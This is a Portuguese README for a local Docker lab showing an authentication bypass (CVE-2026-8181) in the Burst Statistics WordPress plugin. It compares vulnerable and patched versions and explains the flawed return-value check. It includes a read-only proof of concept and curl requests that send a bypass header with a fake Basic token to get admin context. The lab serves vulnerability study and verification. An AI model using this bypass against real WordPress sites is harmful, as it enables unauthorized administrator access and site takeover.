
Laboratório Docker demonstrando o bypass de autenticação CVE-2026-8181 no plugin Burst Statistics para WordPress. Compara versões vulnerável e corrigida com um PoC de menor impacto para ilustrar a autenticação inadequada em requisições da API REST.
Lab local apenas para Docker para CVE-2026-8181, um bypass de autenticação no plugin WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.
Este laboratório compara uma versão vulnerável do plugin com a versão corrigida e usa um PoC de menor dano para provar a diferença sem criar usuários, fazer upload de arquivos ou modificar o estado do WordPress.
| Plugin afetado: | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Versões afetadas: | 3.4.0 a 3.4.1.1 |
| Versão corrigida: | 3.4.2 |
| Tipo de vulnerabilidade: | Bypass de Autenticação / Autenticação Imprópria |
| Impacto: | Atacante não autenticado pode se passar por administrador durante a duração de uma requisição da API REST se souber um nome de usuário administrador válido. |
Neste laboratório:
vuln executa Burst Statistics 3.4.1.1patched executa Burst Statistics 3.4.2X-BurstMainWP: 1O serviço seed instala o WordPress, cria o administrador do laboratório e ativa o Burst Statistics em ambos os ambientes.
Nome de usuário do administrador do laboratório:
labadmin
O PoC usa intencionalmente uma senha errada para provar o bypass.
Burst Statistics inclui um caminho de autenticação proxy relacionado ao MainWP. Quando uma requisição da API REST inclui este cabeçalho:
X-BurstMainWP: 1
Burst delega a autenticação para MainWP_Proxy::is_mainwp_authenticated().
Na versão vulnerável, a função lê credenciais de Autenticação Básica controladas pelo atacante, extrai o nome de usuário e senha, e os passa para o núcleo do WordPress:
$is_valid = wp_authenticate_application_password( null, $username, $password );
O bug é a verificação do valor de retorno.
3.4.1.1Simplificado de includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
O código vulnerável apenas rejeita WP_Error. No entanto, wp_authenticate_application_password() pode retornar null ou outro valor não-usuário quando a autenticação não ocorreu de fato. Como null não é um WP_Error, a verificação passa.
Depois disso, o plugin pesquisa o nome de usuário fornecido e chama:
wp_set_current_user( $user->ID );
Isso faz com que o WordPress trate a requisição atual da API REST como aquele usuário. Se o nome de usuário pertencer a um administrador, as verificações de capacidade do WordPress veem um administrador para o restante da requisição.
A versão corrigida conserta a verificação de autenticação ao exigir um objeto de usuário autenticado real antes de prosseguir.
3.4.2Conceitualmente, a correção é:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
A mudança importante é que um valor de retorno meramente "não-erro" não é mais suficiente. O resultado da autenticação deve ser um objeto \WP_User real.
Isso bloqueia o caminho vulnerável onde null burla a antiga verificação is_wp_error().
O laboratório demonstra uma prova somente leitura usando:
/wp/v2/users/me?context=edit
Esse endpoint é suficiente para mostrar se o WordPress considera a requisição autenticada.
O impacto no mundo real pode ser maior do que esta prova de laboratório. Se um atacante puder se passar por administrador para uma requisição da API REST, ele pode ser capaz de acessar endpoints privilegiados do WordPress. Em configurações comuns do WordPress, o acesso de administrador pode levar a uma tomada de controle persistente do site através da criação de contas, senhas de aplicativo, instalação de plugins, modificação de temas ou outras ações administrativas.
Este repositório evita intencionalmente esses caminhos destrutivos.
docker compose up -d --build
Aguarde o serviço seed de uso único terminar:
docker compose logs seed
Saída esperada do seed:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Instalar dependência Python:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Execute o PoC contra o serviço vulnerável:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Resultado vulnerável esperado:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Execute o mesmo PoC contra o serviço corrigido:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Resultado corrigido esperado:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Gere um token de Autenticação Básica falso:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Requisição de linha de base sem cabeçalhos de bypass:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Esperado:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Tentativa de bypass:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Esperado:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Execute a mesma tentativa de bypass contra o serviço corrigido:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Esperado:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
O serviço vulnerável mostra a mudança de comportamento claramente:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
O serviço corrigido rejeita tanto tentativas não autenticadas quanto de bypass:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
Este PoC é intencionalmente de menor dano:
Use este laboratório apenas em seu próprio ambiente Docker local.
| Serviço | Descrição | URL |
|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL para WordPress vulnerável | Apenas interno |
db_patched | MySQL para WordPress corrigido | Apenas interno |
seed | Container de configuração WP-CLI de uso único | Apenas interno |